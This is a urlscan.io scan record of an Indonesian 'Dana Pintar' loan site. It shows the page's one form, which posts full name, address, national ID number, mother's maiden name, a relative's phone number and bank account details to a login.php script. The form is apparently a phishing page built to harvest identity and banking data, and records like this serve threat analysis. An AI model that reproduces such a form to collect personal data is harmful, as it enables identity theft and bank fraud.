pinjamandanapintar.my.id Open in urlscan Pro
103.178.175.132  Public Scan

Form analysis
1 forms found in the DOM

POST ./login.php

<form action="./login.php" method="post">
  <input name="nama" type="text" placeholder="NAMA LENGKAP" required="required"><br>
  <input name="alamat" type="text" placeholder="ALAMAT LENGKAP" required="required"><br>
  <input name="pekerjaan" type="text" placeholder="PEKERJAAN" required="required"><br>
  <input name="nohp" type="text" placeholder="NOMOR HP" required="required"><br>
  <input name="nik" type="text" placeholder="NIK KTP " required="required"><br>
  <input name="ibu" type="text" placeholder="NAMA IBU KANDUNG" required="required"><br>
  <input name="nokerabat" type="text" placeholder="NOMOR HP KERABAT/KELUARGA" required="requitextred"><br>
  <input name="bank" type="text" placeholder="NAMA BANK" required="required"><br>
  <input name="atasnama" type="text" placeholder="ATAS NAMA" required="required"><br>
  <input name="norek" type="text" placeholder="NOMOR REKENING" required="required"><br>
  <input name="jumlah" type="text" placeholder="JUMLAH PINJAMAN" required="required"><br>
  <input name="lama" type="text" placeholder="LAMA PINJAMAN" required="required"><br>
  <br>
  <input class="btn btn-success" type="submit" value="DAFTAR">
</form>

Text Content

DANA PINTAR SOLUSI PINTAR KEBUTUHAN ANDA


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